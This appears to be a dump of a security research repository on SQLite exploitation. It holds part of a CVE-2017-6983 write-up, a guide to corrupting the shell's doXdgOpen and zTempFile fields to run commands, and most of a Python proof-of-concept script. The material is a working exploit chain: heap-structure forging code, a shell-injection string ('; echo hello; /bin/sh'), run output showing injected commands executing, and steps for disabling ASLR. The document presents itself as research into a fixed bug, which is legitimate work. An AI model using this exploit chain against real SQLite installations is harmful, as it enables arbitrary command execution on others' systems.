[cve-2017-6983-poc-simple.py](./cve-2017-6983-poc-simple.py). 1350 | 1351 | # Exploit Compression 1352 | 1353 | The complete exploit works well, but the payload is a little long, at least 0x77c bytes, excluding the malicious string or value. 1354 | 1355 | ```txt 1356 | 0x77c = 0x80 + 0x220 + 0x8 + 0x38 + 0x308 + 0x4 + 0x8 + 0x138 + 0x48 + 0x8 1357 | ``` 1358 | 1359 | The reason is that we have put each required structure one by one sequentially. However, we only need to corrupt a small portion of each structure to achieve the exploitation. Here is a summary of what we need to do 1360 | 1361 | ```txt 1362 | #---------------------------------------------------------- 1363 | # required type.member values: 1364 | 1365 | # Fts3Cursor.base.pVtable = &Fts3Table [0, 8) (line 182454 @ fts3OptimizeFunc) 1366 | # Fts3Table.db = 0 [0x18, 8) (line 34895 @ sqlite3SafetyCheckOk) 1367 | # Fts3Table.pSegments = &Incrblob [0x1e0, 8) (line 98925 @ sqlite3_blob_close) 1368 | # Incrblob_metadata = 0 (due to malloc_usable_size) 1369 | # Incrblob.pStmt = &Vdbe [0x18, 8) (line 87440 @ sqlite3_finalize) 1370 | # Incrblob.db = &sqlite3 [0x20, 8) (line 98931 @ sqlite3_blob_close) 1371 | # sqlite3.mutex = 0 [0x18, 8) (line 98932 @ sqlite3_blob_close) 1372 | # sqlite3.pErr = &sqlite3_value [0x188, 8) (line 85445 @ sqlite3VdbeReset) 1373 | # sqlite3.lookaside.pEnd = 0 [0x1e8, 8) (line 29361 @ sqlite3DbFreeNN) 1374 | # sqlite3.lookaside.pTrueEnd = 0 [0x1f0, 8) (line 29305 @ isqlite3DbMallocSize) 1375 | # sqlite3.pnBytesFreed = &nBytesFreed [0x300, 8) (line 29385 @ sqlite3DbFreeNN) 1376 | # Vdbe_metadata = 0 (due to malloc_usable_size) 1377 | # Vdbe.db = &sqlite3 [0x0. 8) (line 87441 @ sqlite3_finalize) 1378 | # Vdbe.pc = 0 [0x30, 4) (line 85443 @ sqlite3VdbeReset) 1379 | # Vdbe.aMem = 0 [0x68, 8) (line 85458 @ sqlite3VdbeReset) 1380 | # Vdbe.apCsr = 0 [0x78, 8) (line 85457 @ sqlite3VdbeReset) 1381 | # Vdbe.pVList = 0 [0x80, 8) (line 85585 @ sqlite3VdbeClearObject) 1382 | # Vdbe.aOp = 0 [0x88, 8) (line 85588 @ sqlite3VdbeClearObject) 1383 | # Vdbe.nOp = 0 [0x90, 8) (line 85588 @ sqlite3VdbeClearObject) 1384 | # Vdbe.aColName = 0 [0x98, 8) (line 85574 @ sqlite3VdbeClearObject) 1385 | # Vdbe.zErrMsg = src_ptr [0xa8, 8) (line 85445 @ sqlite3VdbeReset) 1386 | # Vdbe.aVar = 0 [0xb0, 8) (line 85584 @ sqlite3VdbeClearObject) 1387 | # Vdbe.startTime = 0 [0xb8, 8) (line 87444 @ sqlite3_finalize) 1388 | # Vdbe.eVdbeState = 1 [0xcd, 1) (line 87445 @ sqlite3_finalize) 1389 | # Vdbe.zSql = 0 [0x100, 8) (line 85589 @ sqlite3VdbeClearObject) 1390 | # Vdbe.pFree = 0 [0x108, 8) (line 85586 @ sqlite3VdbeClearObject) 1391 | # Vdbe.pProgram = 0 [0x128, 8) (line 85578 @ sqlite3VdbeClearObject) 1392 | # sqlite3_value.db = 0 [0x18, 8) (line 81169 @ sqlite3VdbeMemSetStr) 1393 | # sqlite3_value.flags = 0 [0x14, 2) (line 80323 @ sqlite3VdbeMemClearAndResize) 1394 | # sqlite3_value.szMalloc = 0x100 [0x20, 4) (line 80324 @ sqlite3VdbeMemClearAndResize) 1395 | # sqlite3_value.zMalloc = dst_ptr [0x28, 8) (line 80328 @ sqlite3VdbeMemClearAndResize) 1396 | # malicious_metadata = 0 (due to malloc_usable_size) 1397 | # malicious_content = Your-bad-value 1398 | ``` 1399 | 1400 | From this requirement, we find two methods to reduce the payload size: 1401 | 1402 | 1. Not all bytes are required in the payload. 1403 | 1404 | For example, the very first structure `Fts3Cursor` has 0x80 bytes in memory. However, we just need to corrupt the first 8 bytes of it. For the following 0x78 bytes, we can allocate for other structures, like `Fts3Tabble`. 1405 | 1406 | 2. There are huge holes within large structures. 1407 | 1408 | For example, `sqlite3` structure has 0x308 bytes, but we just need to corrupt 8 bytes at the relatively beginning (offset 0x18), some bytes in the middle (0x188-0x1f8), and another 8 bytes at the relatively end (offset 0x300). There are 0x168 bytes available at offset [0x20,0x188), and 0x108 bytes at offset [0x1f8,0x300). 1409 | 1410 | Therefore, we can try to reduce structure size, and try to overlay structures to reduce exploit payload size. By the way, there is another trick 1411 | 1412 | 3. If two fields (like 8 bytes) are required to be the same value, like 0, we can also overlay them. 1413 | 1414 | Based on these three ideas, we can change the layout to the follows: 1415 | 1416 | ```py 1417 | Fts3Cursor_size = 0x8 1418 | Vdbe_metadata_size = 0x8 1419 | Incrblob_metadata_size = 0x8 1420 | malicious_metadata_size = 0x8 1421 | 1422 | raddr_Fts3Cursor = 0 1423 | # put sqlite3, the largest (0x308) structure, immediately after Fts3Cursor 1424 | raddr_sqlite3 = raddr_Fts3Cursor + Fts3Cursor_size - 0x18 # Offset of 1st used member 1425 | # align Fts3Table within sqlite3 1426 | raddr_Fts3Table = raddr_sqlite3 1427 | # put Vdbe_medata + Vdbe (0x140) within sqlite3 (also within Fts3Table) 1428 | raddr_Vdbe_metadata = raddr_Fts3Table + 0x20 1429 | raddr_Vdbe = raddr_Vdbe_metadata + Vdbe_metadata_size 1430 | # put Incrblob_metadata + Incrblob (0x40) within sqlite3 (also within Fts3Table) 1431 | raddr_Incrblob_metadata = raddr_sqlite3 + 0x190 1432 | raddr_Incrblob = raddr_Incrblob_metadata + Incrblob_metadata_size 1433 | # put nBytesFreed (0x4) within sqlite3 1434 | raddr_nBytes_freed = raddr_sqlite3 + 0x1f8 1435 | # put sqlite3_value (0x48) within sqlite3 1436 | raddr_sqlite3_value = raddr_sqlite3 + 0x1fc 1437 | # put malicious_metata + malicious_content (0x8 + ?) within sqlite3 1438 | raddr_malicious_metadata = raddr_sqlite3 + 0x1fc + 0x48 1439 | raddr_malicious_content = raddr_malicious_metadata + malicious_metadata_size 1440 | ``` 1441 | 1442 | In this way, we just need a smaller size. In fact, we can also put the 8-bytes used by Fts3Cursor within 0x308, which reduces the size to 0x308 exactly. 1443 | 1444 | ```txt 1445 | 0x310 = 0x8 + 0x308 1446 | ``` -------------------------------------------------------------------------------- /SQLite/doXdgOpen-attack.md: -------------------------------------------------------------------------------- 1 | # Corrupting `doXdgOpen` to Attack SQLite 2 | 3 | We try two methods to corrupt `doXdgOpen` to build attacks against SQLite, one via GDB simulation and another via a real-world vulnerablitiy. The vulnerability has been fixed so it will not cause immediate threat to exsiting SQLite installations. 4 | 5 | With these corruptions attackers can execute arbitrary command on victim systems. 6 | 7 | ## Attack Simulation via GDB 8 | 9 | To quickly confirm the feasiblity of building attacks, we use the GDB debugger to simulate an attacker who can write arbitrary value into arbitrary location through common memory safety issues, like buffer overflow or use-after-free. 10 | 11 | In particular, we set `doXdgOpen` to `true` and set `zTempFile` to a malicious string `; echo 'hello'; /bin/sh`. When the execution continues, `echo 'hello'` and `/bin/sh` will be executed. 12 | 13 | In the first step, we start an SQLite shell. 14 | 15 | ```bash 16 | $ sqlite3 17 | sqlite> 18 | ``` 19 | 20 | In another terminal, we attach GDB to the SQLite shell process 21 | 22 | ```bash 23 | $ sudo gdb -p `pgrep sqlite3` # make sure only one sqlite3 exists 24 | ``` 25 | 26 | Go to the `main` function frame, and update the two members of `ShellState`: 27 | 28 | ```bash 29 | (gdb) bt # Print backtrace of all stack frames. Content may vary 30 | #0 0x00007f3b44e5807b in __pselect (nfds=1, readfds=0x7ffd187094f0, writefds=0x0, exceptfds=0x0, timeout=, sigmask=0x7f3b45173c20 <_rl_orig_sigset>) 31 | at ../sysdeps/unix/sysv/linux/pselect.c:48 32 | #1 0x00007f3b45153be9 in rl_getc () from /lib/x86_64-linux-gnu/libreadline.so.8 33 | #2 0x00007f3b45154503 in rl_read_key () from /lib/x86_64-linux-gnu/libreadline.so.8 34 | #3 0x00007f3b45139c82 in readline_internal_char () from /lib/x86_64-linux-gnu/libreadline.so.8 35 | #4 0x00007f3b4513a4ed in readline () from /lib/x86_64-linux-gnu/libreadline.so.8 36 | #5 0x0000000000431b88 in one_input_line (in=0x0, zPrior=0x0, isContinuation=0) at shell.c:656 37 | #6 0x00000000004155b2 in process_input (p=0x7ffd187097c8) at shell.c:18343 38 | #7 0x000000000040a5f7 in main (argc=1, argv=0x7ffd1870adc8) at shell.c:19152 39 | (gdb) frame 7 # select the frame of main, which is #7 here 40 | #7 0x000000000040a5f7 in main (argc=1, argv=0x7ffd1870adc8) at shell.c:19152 41 | 19152 rc = process_input(&data); 42 | (gdb) p data.doXdgOpen # show doXdgOpen before corruption 43 | $1 = 0 '\000' 44 | (gdb) p data.zTempFile # show zTempFile before corruption 45 | $2 = 0x0 46 | (gdb) set data.doXdgOpen = 1 # corrupt doXdgOpen 47 | (gdb) set data.zTempFile = "; echo hello; /bin/sh" # corrupt zTempFile 48 | (gdb) p data.doXdgOpen # show doXdgOpen after corruption 49 | $3 = 1 '\001' 50 | (gdb) p data.zTempFile # show zTempFile after corruption 51 | $4 = 0x7f3b44d42990 "; echo hello; /bin/sh" 52 | ``` 53 | 54 | Attack done. Now we can quit GDB. 55 | 56 | ```bash 57 | (gdb) quit 58 | Quit anyway? (y or n) y 59 | ``` 60 | 61 | Go to the SQLite shell, quit the shell 62 | 63 | ```bash 64 | sqlite> .exit 65 | sh: 1: xdg-open: not found #<- reuslt of running "xdg-open " 66 | hello #<- result of running "echo 'hello'" 67 | $ #<- result of runing "/bin/sh" 68 | ``` 69 | 70 | As we can see from the SQLite shell, SQLite executes command `system("xdg-open ; echo 'hello'; /bin/sh")`, which finally creates a terminal for attackers. 71 | 72 | ## Attack via Real-world (Fixed) Bugs 73 | 74 | Attackers can use any memory-safety issues to corrupt `doXdgOpen` and `zTempFile` to achieve arbitrary code execution. These bugs are not rare. 75 | 76 | #### 1. Gain arbitrary memory-write primitive 77 | 78 | We utilize the following, old vulnerability to construct an attack. More details about this bug is also available via this link. 79 | 80 | * [CVE-2017-6983](cve-2017-6983.md) 81 | 82 | #### 2. Compile SQLite 83 | 84 | ```bash 85 | # in sqlite folder 86 | 87 | CC="clang -DSQLITE_DEBUG" ./configure --enable-debug 88 | make 89 | ``` 90 | 91 | #### 3. Proof-of-Concept (PoC) 92 | 93 | We exploit the vulnerability twice to corrupt both `p->doXdgOpen` and `p->zTempFile` respectively. We disabled ASLR in this attack, so the address of `p` and faked structures are fixed. The complete PoC can be found in [doXdgOpen-poc.py](./doXdgOpen-poc.py). 94 | 95 | Here are a few key steps among this attack 96 | 97 | **(1) Corrupt `p->doXdgOpen` to 1** 98 | 99 | ```py 100 | addr_ShellState = 0x7fffffffcf68 # get this address via GDB 101 | offset_doXdgOpen_ShellState = 0xe 102 | 103 | dst_ptr = addr_ShellState + offset_doXdgOpen_ShellState 104 | bad_val = 0x1 105 | 106 | # sqlite3_value.zMalloc = dst_ptr (line 80328 @ sqlite3VdbeMemClearAndResize) 107 | offset_sqlite3_value_zMalloc = 0x28 108 | raddr_sqlite3_value_zMalloc = raddr_sqlite3_value + offset_sqlite3_value_zMalloc 109 | zMalloc_val = dst_ptr 110 | exp = writeVal(exp, raddr_sqlite3_value_zMalloc, zMalloc_val) 111 | 112 | # malicious_content = Your-bad-value 113 | exp = writeVal(exp, raddr_malicious_content, bad_val) 114 | ``` 115 | 116 | **(2) Corrupt `p->zTempFile` to `; ls`** 117 | 118 | ```py 119 | addr_ShellState = 0x7fffffffcf68 120 | offset_doXdgOpen_ShellState = 0xe 121 | offset_zTempFile_ShellState = 0x98 122 | 123 | safe_space_offset = 0x400 # leave the 1st attack untouched 124 | raddr_Fts3Cursor = safe_space_offset # shift the first allocation 125 | 126 | dst_ptr = addr_ShellState + offset_zTempFile_ShellState 127 | 128 | # sqlite3_value.zMalloc = dst_ptr (line 80328 @ sqlite3VdbeMemClearAndResize) 129 | offset_sqlite3_value_zMalloc = 0x28 130 | raddr_sqlite3_value_zMalloc = raddr_sqlite3_value + offset_sqlite3_value_zMalloc 131 | zMalloc_val = dst_ptr 132 | exp = writeVal(exp, raddr_sqlite3_value_zMalloc, zMalloc_val) 133 | 134 | # put "; bad-command" after malicious content 135 | raddr_string = raddr_malicious_content + 0x10 # leave the malicious value untouched 136 | exp = writeStr(exp, raddr_string, "--version; ls") 137 | 138 | # malicious_content = Your-bad-value 139 | exp = writeVal(exp, raddr_malicious_content, base + raddr_string) 140 | 141 | ``` 142 | 143 | **(3) Trigger the bug twice** 144 | 145 | ```py 146 | with open('/tmp/exp', 'w') as f: 147 | f.write("create table t1(c1 char);\n") 148 | f.write("insert into t1 values(x'" + exp + "');\n") 149 | f.write("create virtual table a using fts3(b);\n") 150 | f.write("insert into a values(x'" + valToLittleEndianHex(base, 8) + "');\n") 151 | f.write("select optimize(b) from a;\n") 152 | f.write("delete from a;\n") 153 | f.write("insert into a values(x'" + valToLittleEndianHex(base + safe_space_offset, 8) + "');\n") 154 | f.write("select optimize(b) from a;\n") 155 | f.write("select sqlite_version();\n") 156 | ``` 157 | 158 | **(4) Attack** 159 | 160 | ```bash 161 | # clean up sqlite cache 162 | $ rm -rf ~/.sqlite* 163 | 164 | # Need to figure out the correct base address and shellstate address 165 | # Check the CVE link above to figure out how 166 | 167 | # generate the exploit poc /tmp/exp 168 | $ python3 ./doXdgOpen-poc.py 169 | 170 | # exploit within gdb 171 | $ gdb ./sqlite3 172 | gdb-peda$ r < /tmp/exp 173 | 174 | Starting program: /home/hong/sqlite-for-viper/sqlite3 < /tmp/exp 175 | [Thread debugging using libthread_db enabled] 176 | Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". 177 | Runtime error near line 5: bad parameter or other API misuse (21) 178 | Runtime error near line 8: bad parameter or other API misuse (21) 179 | 3.40.1 180 | [Attaching after Thread 0x7ffff7dee740 (LWP 50258) vfork to child process 50261] 181 | [New inferior 2 (process 50261)] 182 | [Thread debugging using libthread_db enabled] 183 | Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". 184 | [Detaching vfork parent process 50258 after child exec] 185 | [Inferior 1 (process 50258) detached] 186 | process 50261 is executing new program: /usr/bin/dash 187 | [Thread debugging using libthread_db enabled] 188 | Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". 189 | [Attaching after Thread 0x7ffff7fa1740 (LWP 50261) vfork to child process 50263] 190 | [New inferior 3 (process 50263)] 191 | [Thread debugging using libthread_db enabled] 192 | Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". 193 | [Detaching vfork parent process 50261 after child exec] 194 | [Inferior 2 (process 50261) detached] 195 | process 50263 is executing new program: /usr/bin/dash 196 | [Thread debugging using libthread_db enabled] 197 | Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". 198 | xdg-open 1.1.3 199 | [Inferior 3 (process 50263) exited normally] 200 | 201 | ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 202 | aclocal.m4 ext lempar.c manifest.uuid peda-session-cat.txt sqlite3 sqlite.pc.in 203 | art fts5.c libsqlite3.la mkkeywordhash peda-session-dash.txt sqlite3.1 src 204 | autoconf fts5.h libtool mkso.sh peda-session-dbus-send.txt sqlite3.c test 205 | config.guess fts5parse.c LICENSE.md mksourceid peda-session-groups.txt sqlite3ext.h tool 206 | config.log fts5parse.h ltmain.sh mptest peda-session-ls.txt sqlite3.h tsrc 207 | config.status fts5parse.out magic.txt opcodes.c peda-session-sqlite3.txt sqlite3.lo VERSION 208 | config.sub fts5parse.sql main.mk opcodes.h peda-session-vim.nox.txt sqlite3.o vsixtest 209 | configure fts5parse.y Makefile parse.c poc.py sqlite3.pc 210 | configure.ac input Makefile.in parse.h poc-simple.py sqlite3.pc.in 211 | contrib install-sh Makefile.linux-gcc parse.out README.md sqlite3session.h 212 | doc keywordhash.h Makefile.msc parse.sql shell.c sqlite_cfg.h 213 | doXdgOpen-poc.py lemon manifest parse.y spec.template sqlite_cfg.h.in 214 | ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 215 | 216 | Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated. 217 | Use 'set logging enabled off'. 218 | 219 | Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated. 220 | Use 'set logging enabled on'. 221 | ``` 222 | 223 | ## Tips 224 | 225 | ### Disable ASLR 226 | ``` 227 | cat /proc/sys/kernel/randomize_va_space 228 | sudo sysctl kernel.randomize_va_space=0 229 | ``` 230 | 231 | ### Get size of a variable/type 232 | ``` 233 | print sizeof(val) 234 | print sizeof(Type) 235 | ``` 236 | 237 | ### Get offside of a member 238 | ``` 239 | gdb-peda$ p/x &(((Fts3Table *)0)->db) 240 | ``` 241 | 242 | ### Clear cache 243 | `rm ~/.sqlite*` 244 | -------------------------------------------------------------------------------- /SQLite/doXdgOpen-poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import os 4 | import sys 5 | 6 | def valToLittleEndianHex(value, length): 7 | b = '{num:0{width}X}'.format(num=value, width=length * 2) 8 | c = "".join(reversed([b[i:i+2] for i in range(0, len(b), 2)])) 9 | return c 10 | 11 | def strToLittleEndianHex(s): 12 | hex_bytes = [f'{ord(c):02X}' for c in s] # Convert each character to 2-digit hex 13 | return ''.join(hex_bytes) 14 | 15 | def writeBlob(exp, off, string): 16 | exp = list(exp) 17 | string = list(string) 18 | for i in range(0, len(string)): 19 | exp[off + i] = string[i] 20 | return ''.join(exp) 21 | 22 | def writeVal(exp, off, value, length=8): 23 | #print(hex(off), hex(value)) 24 | return writeBlob(exp, off * 2, valToLittleEndianHex(value, length)) 25 | 26 | def writeStr(exp, off, string): 27 | #print(hex(off), string) 28 | return writeBlob(exp, off * 2, strToLittleEndianHex(string)) 29 | 30 | compact = True 31 | 32 | exp = valToLittleEndianHex(0xdeadbeef, 8) + "0" * 0x800 * 2 33 | 34 | addr_ShellState = 0x7fffffffcf68 35 | offset_doXdgOpen_ShellState = 0xe 36 | offset_zTempFile_ShellState = 0x98 37 | 38 | base = 0x667ad8 39 | 40 | #---------------------------------------------------------- 41 | # expected layout: 42 | 43 | # Fts3Cursor (0x80) 44 | # Fts3Table (0x220) 45 | # Incrblob_metadata (0x8) 46 | # Incrblob (0x38) 47 | # sqlite3 (0x308) 48 | # nBytesFreed (0x4) 49 | # Vdbe_metadata (0x8) 50 | # Vdbe (0x138) 51 | # sqlite3_value (0x48) 52 | # malicious metadata (0x8) 53 | # malicious value/string (?) 54 | 55 | #---------------------------------------------------------- 56 | # required type.member values: 57 | 58 | # Fts3Cursor.base.pVtab = &Fts3Table [0, 8) (line 182454 @ fts3OptimizeFunc) 59 | # Fts3Table.pSegments = &Incrblob [0x1e0, 8) (line 98925 @ sqlite3_blob_close) 60 | # Incrblob.pStmt = &Vdbe [0x18, 8) (line 87440 @ sqlite3_finalize) 61 | # Incrblob.db = &sqlite3 [0x20, 8) (line 98931 @ sqlite3_blob_close) 62 | # sqlite3.pErr = &sqlite3_value [0x188, 8) (line 85445 @ sqlite3VdbeReset) 63 | # sqlite3.pnBytesFreed = &nBytesFreed [0x300, 8) (line 29385 @ sqlite3DbFreeNN) 64 | # Vdbe.db = &sqlite3 [0x0. 8) (line 87441 @ sqlite3_finalize) 65 | # Vdbe.zErrMsg = src_ptr [0xa8, 8) (line 85445 @ sqlite3VdbeReset) 66 | # Vdbe.eVdbeState = 1 [0xcd, 1) (line 87445 @ sqlite3_finalize) 67 | # sqlite3_value.szMalloc = 0x100 [0x20, 4) (line 80324 @ sqlite3VdbeMemClearAndResize) 68 | # sqlite3_value.zMalloc = dst_ptr [0x28, 8) (line 80328 @ sqlite3VdbeMemClearAndResize) 69 | # malicious_content = Your-bad-value 70 | 71 | #---------------------------------------------------------- 72 | # common sizes and offsets 73 | 74 | # sizeof types 75 | Fts3Cursor_size = 0x80 76 | Fts3Table_size = 0x220 77 | Incrblob_metadata_size = 0x8 78 | Incrblob_size = 0x38 79 | sqlite3_size = 0x308 80 | nBytesFreed_size = 0x4 81 | Vdbe_metadata_size = 0x8 82 | Vdbe_size = 0x138 83 | sqlite3_value_size = 0x48 84 | malicious_metadata_size = 0x8 85 | 86 | # raddr -> address relative to base 87 | # -> offset relattive to exp 88 | raddr_Fts3Cursor = 0 89 | raddr_Fts3Table = raddr_Fts3Cursor + Fts3Cursor_size 90 | raddr_Incrblob_metadata = raddr_Fts3Table + Fts3Table_size 91 | raddr_Incrblob = raddr_Incrblob_metadata + Incrblob_metadata_size 92 | raddr_sqlite3 = raddr_Incrblob + Incrblob_size 93 | raddr_nBytesFreed = raddr_sqlite3 + sqlite3_size 94 | raddr_Vdbe_metadata = raddr_nBytesFreed + nBytesFreed_size 95 | raddr_Vdbe = raddr_Vdbe_metadata + Vdbe_metadata_size 96 | raddr_sqlite3_value = raddr_Vdbe + Vdbe_size 97 | raddr_malicious_metadata = raddr_sqlite3_value + sqlite3_value_size 98 | raddr_malicious_content = raddr_malicious_metadata + malicious_metadata_size 99 | 100 | # offset_type_member -> offset of member within type 101 | 102 | if compact: 103 | 104 | Fts3Cursor_size = 0x8 105 | raddr_Fts3Cursor = 0 106 | # put sqlite3, the largest (0x308) structure, immediately after Fts3Cursor 107 | raddr_sqlite3 = raddr_Fts3Cursor + Fts3Cursor_size - 0x18 # Offset of 1st used member 108 | # align Fts3Table within sqlite3 109 | raddr_Fts3Table = raddr_sqlite3 110 | # put Vdbe_medata + Vdbe (0x140) within sqlite3 (also within Fts3Table) 111 | raddr_Vdbe_metadata = raddr_Fts3Table + 0x20 112 | Vdbe_metadata_size = 0x8 113 | raddr_Vdbe = raddr_Vdbe_metadata + Vdbe_metadata_size 114 | # put Incrblob_metadata + Incrblob (0x40) within sqlite3 (also within Fts3Table) 115 | raddr_Incrblob_metadata = raddr_sqlite3 + 0x190 116 | Incrblob_metadata_size = 0x8 117 | raddr_Incrblob = raddr_Incrblob_metadata + Incrblob_metadata_size 118 | # put nBytesFreed (0x4) within sqlite3 119 | raddr_nBytes_freed = raddr_sqlite3 + 0x1f8 120 | # put sqlite3_value (0x48) within sqlite3 121 | raddr_sqlite3_value = raddr_sqlite3 + 0x1fc 122 | # put malicious_metata + malicious_content (0x8 + ?) within sqlite3 123 | raddr_malicious_metadata = raddr_sqlite3 + 0x1fc + 0x48 124 | malicious_metadata_size = 0x8 125 | raddr_malicious_content = raddr_malicious_metadata + malicious_metadata_size 126 | 127 | #---------------------------------------------------------- 128 | # 1st malicious actions --> corrupt doXdgOpen 129 | 130 | dst_ptr = addr_ShellState + offset_doXdgOpen_ShellState 131 | bad_val = 0x1 132 | 133 | # Fts3Cursor.base.pVtab = &Fts3Table 134 | offset_Fts3Cursor_pVtab = 0 135 | raddr_Fts3Cursor_pVtab = raddr_Fts3Cursor + offset_Fts3Cursor_pVtab 136 | addr_Fts3Table = base + raddr_Fts3Table 137 | exp = writeVal(exp, raddr_Fts3Cursor_pVtab, addr_Fts3Table) 138 | 139 | # Fts3Table.pSegments = &Incrblob 140 | offset_Fts3Table_pSegments = 0x1e0 141 | raddr_Fts3Table_pSegments = raddr_Fts3Table + offset_Fts3Table_pSegments 142 | addr_Incrblob = base + raddr_Incrblob 143 | exp = writeVal(exp, raddr_Fts3Table_pSegments, addr_Incrblob) 144 | 145 | # Incrblob.db = &sqlite3 146 | offset_Incrblob_db = 0x20 147 | raddr_Incrblob_db = raddr_Incrblob + offset_Incrblob_db 148 | addr_sqlite3 = base + raddr_sqlite3 149 | exp = writeVal(exp, raddr_Incrblob_db, addr_sqlite3) 150 | 151 | # sqlite3.pnBytesFreed = &nBytesFreed (line 29385 @ sqlite3DbFreeNN) 152 | offset_sqlite3_pnBytesFreed = 0x300 153 | raddr_sqlite3_pnBytesFreed = raddr_sqlite3 + offset_sqlite3_pnBytesFreed 154 | addr_nBytesFreed = base + raddr_nBytesFreed 155 | exp = writeVal(exp, raddr_sqlite3_pnBytesFreed, addr_nBytesFreed) 156 | 157 | # sqlite3.lookaside.pTrueEnd = 0 (line 29305 @ isqlite3DbMallocSize) 158 | offset_sqlite3_lookaside_pTrueEnd = 0x1f0 159 | raddr_lookaside_pTrueEnd = raddr_sqlite3 + offset_sqlite3_lookaside_pTrueEnd 160 | pTrueEnd_val = 0 161 | exp = writeVal(exp, raddr_lookaside_pTrueEnd, pTrueEnd_val) 162 | 163 | # Incrblob.pStmt = &Vdbe (line 87440 # sqlite3_finalize) 164 | offset_Incrblob_pStmt = 0x18 165 | raddr_Incrblob_pStmt = raddr_Incrblob + offset_Incrblob_pStmt 166 | addr_Vdbe = base + raddr_Vdbe 167 | exp = writeVal(exp, raddr_Incrblob_pStmt, addr_Vdbe) 168 | 169 | # Vdbe.db = &sqlite3 (line 87441 @ sqlite3_finalize) 170 | offset_Vdbe_db = 0x0 171 | raddr_Vdbe_db = raddr_Vdbe + offset_Vdbe_db 172 | exp = writeVal(exp, raddr_Vdbe_db, addr_sqlite3) 173 | 174 | # Vdbe.eVdbeState = 1 (line 87445 @ sqlite3_finalize) 175 | offset_Vdbe_eVdbeState = 0xcd 176 | raddr_Vdbe_eVdbeState = raddr_Vdbe + offset_Vdbe_eVdbeState 177 | eVdbeState_val = 1 178 | exp = writeVal(exp, raddr_Vdbe_eVdbeState, eVdbeState_val, 1) 179 | 180 | # Vdbe.zErrMsg = src_ptr (line 85445 @ sqlite3VdbeReset) 181 | offset_Vdbe_zErrMsg = 0xa8 182 | raddr_Vdbe_zErrMsg = raddr_Vdbe + offset_Vdbe_zErrMsg 183 | src_ptr = base + raddr_malicious_content 184 | zErrMsg_val = src_ptr 185 | exp = writeVal(exp, raddr_Vdbe_zErrMsg, zErrMsg_val) 186 | 187 | # sqlite3.pErr = &sqlite3_value (line 85445 @ sqlite3VdbeReset) 188 | offset_sqlite3_pErr = 0x188 189 | raddr_sqlite3_pErr = raddr_sqlite3 + offset_sqlite3_pErr 190 | addr_sqlite3_value = base + raddr_sqlite3_value 191 | exp = writeVal(exp, raddr_sqlite3_pErr, addr_sqlite3_value) 192 | 193 | # sqlite3_value.szMalloc = 0x100 (line 80324 @ sqlite3VdbeMemClearAndResize) 194 | offset_sqlite3_value_szMalloc = 0x20 195 | raddr_sqlite3_value_szMalloc = raddr_sqlite3_value + offset_sqlite3_value_szMalloc 196 | szMalloc_val = 0x100 197 | exp = writeVal(exp, raddr_sqlite3_value_szMalloc, szMalloc_val, 4) 198 | 199 | # sqlite3_value.zMalloc = dst_ptr (line 80328 @ sqlite3VdbeMemClearAndResize) 200 | offset_sqlite3_value_zMalloc = 0x28 201 | raddr_sqlite3_value_zMalloc = raddr_sqlite3_value + offset_sqlite3_value_zMalloc 202 | zMalloc_val = dst_ptr 203 | exp = writeVal(exp, raddr_sqlite3_value_zMalloc, zMalloc_val) 204 | 205 | # malicious_content = Your-bad-value 206 | exp = writeVal(exp, raddr_malicious_content, bad_val) 207 | 208 | # #---------------------------------------------------------- 209 | # # 2nd malicious actions -> corrupt zTempFile 210 | # 211 | safe_space_offset = 0x400 212 | raddr_Fts3Cursor = safe_space_offset 213 | 214 | # raddr -> address relative to base 215 | # -> offset relattive to exp 216 | raddr_Fts3Table = raddr_Fts3Cursor + Fts3Cursor_size 217 | raddr_Incrblob_metadata = raddr_Fts3Table + Fts3Table_size 218 | raddr_Incrblob = raddr_Incrblob_metadata + Incrblob_metadata_size 219 | raddr_sqlite3 = raddr_Incrblob + Incrblob_size 220 | raddr_nBytesFreed = raddr_sqlite3 + sqlite3_size 221 | raddr_Vdbe_metadata = raddr_nBytesFreed + nBytesFreed_size 222 | raddr_Vdbe = raddr_Vdbe_metadata + Vdbe_metadata_size 223 | raddr_sqlite3_value = raddr_Vdbe + Vdbe_size 224 | raddr_malicious_metadata = raddr_sqlite3_value + sqlite3_value_size 225 | raddr_malicious_content = raddr_malicious_metadata + malicious_metadata_size 226 | 227 | # offset_type_member -> offset of member within type 228 | 229 | if compact: 230 | 231 | Fts3Cursor_size = 0x8 232 | # put sqlite3, the largest (0x308) structure, immediately after Fts3Cursor 233 | raddr_sqlite3 = raddr_Fts3Cursor + Fts3Cursor_size - 0x18 # Offset of 1st used member 234 | # align Fts3Table within sqlite3 235 | raddr_Fts3Table = raddr_sqlite3 236 | # put Vdbe_medata + Vdbe (0x140) within sqlite3 (also within Fts3Table) 237 | raddr_Vdbe_metadata = raddr_Fts3Table + 0x20 238 | Vdbe_metadata_size = 0x8 239 | raddr_Vdbe = raddr_Vdbe_metadata + Vdbe_metadata_size 240 | # put Incrblob_metadata + Incrblob (0x40) within sqlite3 (also within Fts3Table) 241 | raddr_Incrblob_metadata = raddr_sqlite3 + 0x190 242 | Incrblob_metadata_size = 0x8 243 | raddr_Incrblob = raddr_Incrblob_metadata + Incrblob_metadata_size 244 | # put nBytesFreed (0x4) within sqlite3 245 | raddr_nBytes_freed = raddr_sqlite3 + 0x1f8 246 | # put sqlite3_value (0x48) within sqlite3 247 | raddr_sqlite3_value = raddr_sqlite3 + 0x1fc 248 | # put malicious_metata + malicious_content (0x8 + ?) within sqlite3 249 | raddr_malicious_metadata = raddr_sqlite3 + 0x1fc + 0x48 250 | malicious_metadata_size = 0x8 251 | raddr_malicious_content = raddr_malicious_metadata + malicious_metadata_size 252 | 253 | dst_ptr = addr_ShellState + offset_zTempFile_ShellState 254 | 255 | # Fts3Cursor.base.pVtab = &Fts3Table 256 | offset_Fts3Cursor_pVtab = 0 257 | raddr_Fts3Cursor_pVtab = raddr_Fts3Cursor + offset_Fts3Cursor_pVtab 258 | 